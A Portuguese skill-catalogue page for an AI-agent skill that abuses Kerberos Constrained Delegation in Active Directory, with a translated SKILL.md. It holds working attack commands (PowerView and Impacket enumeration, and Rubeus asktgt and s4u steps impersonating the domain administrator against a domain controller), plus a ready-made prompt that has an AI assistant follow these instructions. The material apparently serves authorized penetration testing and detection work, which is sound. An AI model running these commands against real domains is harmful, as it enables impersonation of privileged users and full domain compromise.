Pular para o conteúdo
Skillpedia
Diversos35 mil · #5741

exploiting-constrained-delegation-abuse

Faz seu agente explorar configurações incorretas de delegação restrita no Active Directory para se passar por usuários privilegiados.

O que ela faz

Essa ferramenta explora uma configuração incorreta de segurança no Active Directory chamada 'Delegação Restrita'. Ela permite que um atacante se passe por usuários privilegiados, como administradores, para acessar sistemas e obter controle total do domínio.

Quando usar

  • ✓Em testes de segurança autorizados para verificar vulnerabilidades de delegação.
  • ✓Durante simulações de ataque (red teaming) para testar defesas.
  • ✓Para entender como atacantes podem obter acesso privilegiado em redes corporativas.

Exemplo do que pedir para a IA

“Como posso verificar se a delegação restrita está mal configurada na minha rede?”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-constrained-delegation-abuse/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-constrained-delegation-abuse/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta procura por contas com permissões de delegação específicas. Se encontradas, ela usa técnicas para criar 'passagens' de acesso que se passam por usuários com privilégios elevados, permitindo o acesso a serviços restritos.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-constrained-delegation-abuse

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-constrained-delegation-abuse/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Explorando Abuso de Delegação Restrita

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Visão Geral

A Delegação Restrita do Kerberos (KCD) é um recurso do Active Directory do Windows que permite que um serviço se passe por um usuário e acesse serviços específicos em nome dele. Os alvos da delegação são definidos no atributo msDS-AllowedToDelegateTo. Quando um atacante compromete uma conta configurada com Delegação Restrita (particularmente com a flag TRUSTED_TO_AUTH_FOR_DELEGATION), ele pode usar as extensões de protocolo Kerberos S4U2self e S4U2proxy para solicitar tickets de serviço como qualquer usuário (incluindo Administradores de Domínio) para os serviços delegados. Se o alvo da delegação incluir serviços como CIFS, HTTP ou LDAP em um Controlador de Domínio, isso resulta no comprometimento total do domínio. A extensão S4U2self solicita um ticket encaminhável em nome de qualquer usuário para o serviço comprometido, e S4U2proxy encaminha esse ticket para o alvo de delegação permitido.

Quando Usar

  • Ao realizar testes de segurança autorizados que envolvam a exploração de abuso de delegação restrita
  • Ao analisar amostras de malware ou artefatos de ataque em um ambiente controlado
  • Ao conduzir exercícios de equipe vermelha ou engajamentos de testes de penetração
  • Ao construir capacidades de detecção com base na compreensão de técnicas ofensivas

Pré-requisitos

  • Familiaridade com conceitos e ferramentas de red teaming
  • Acesso a um ambiente de teste ou laboratório para execução segura
  • Python 3.8+ com as dependências necessárias instaladas
  • Autorização apropriada para quaisquer atividades de teste

Objetivos

  • Enumerar contas com Delegação Restrita configurada no domínio
  • Identificar alvos de delegação (msDS-AllowedToDelegateTo) para serviços de alto valor
  • Explorar S4U2self e S4U2proxy para se passar por Administrador de Domínio
  • Obter tickets de serviço para serviços delegados como um usuário privilegiado
  • Acessar serviços delegados (CIFS, LDAP, HTTP) em hosts de destino
  • Escalar para Administrador de Domínio através de abuso de Delegação Restrita

Mapeamento MITRE ATT&CK

  • T1558.003 - Roubar ou Forjar Tickets Kerberos: Kerberoasting
  • T1550.003 - Usar Material de Autenticação Alternativo: Pass the Ticket
  • T1134.001 - Manipulação de Token de Acesso: Impersonação/Roubo de Token
  • T1078.002 - Contas Válidas: Contas de Domínio
  • T1021 - Serviços Remotos

Fluxo de Trabalho

Fase 1: Enumerar Delegação Restrita

  1. Encontre contas com Delegação Restrita usando PowerView:
    # Find users with Constrained Delegation
    Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
    
    # Find computers with Constrained Delegation
    Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
    
    # Using AD Module
    Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl
    
  2. Usando Impacket findDelegation.py:
    findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
    
  3. Usando BloodHound CE:
    MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
    RETURN c.name, c.allowedtodelegate
    
  4. Verifique a flag TRUSTED_TO_AUTH_FOR_DELEGATION (transição de protocolo):
    # UserAccountControl flag 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION
    Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
    

Fase 2: Explorar com Rubeus (Windows)

  1. Se você tiver a senha ou hash da conta de delegação restrita:
    # Request TGT for the constrained delegation account
    Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash>
    
    # Perform S4U2self + S4U2proxy to impersonate administrator
    Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /ptt
    
    # Alternative: specify alternate service name
    Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt
    
  2. Solicitação TGT combinada e S4U em um único comando:
    Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
    

Fase 3: Explorar com Impacket (Linux)

  1. Solicitar ticket de serviço via extensões de protocolo S4U:

…

Perguntas frequentes

O que é Delegação Restrita?

É um recurso do Windows Server que permite que um serviço atue em nome de um usuário para acessar outros serviços. Se mal configurada, pode ser explorada por atacantes.

Preciso ter a senha de um administrador para usar essa ferramenta?

Não necessariamente. A exploração se baseia em configurações incorretas de delegação, permitindo que você se passe por um administrador sem precisar da senha dele.

Isso é legal?

A ferramenta só deve ser usada em ambientes de teste autorizados e com permissão explícita. Usá-la em sistemas sem autorização é ilegal.

Detalhes

Descrição original do autor

Exploits Kerberos Constrained Delegation misconfigurations in Active Directory using Impacket's findDelegation.py and getST.py (or Rubeus/Kekeo on Windows) to abuse S4U2Self and S4U2Proxy and impersonate privileged users. Use during authorized Active Directory penetration tests or red-team engagements for lateral movement and privilege escalation after finding an account trusted for constrained de

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5741
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas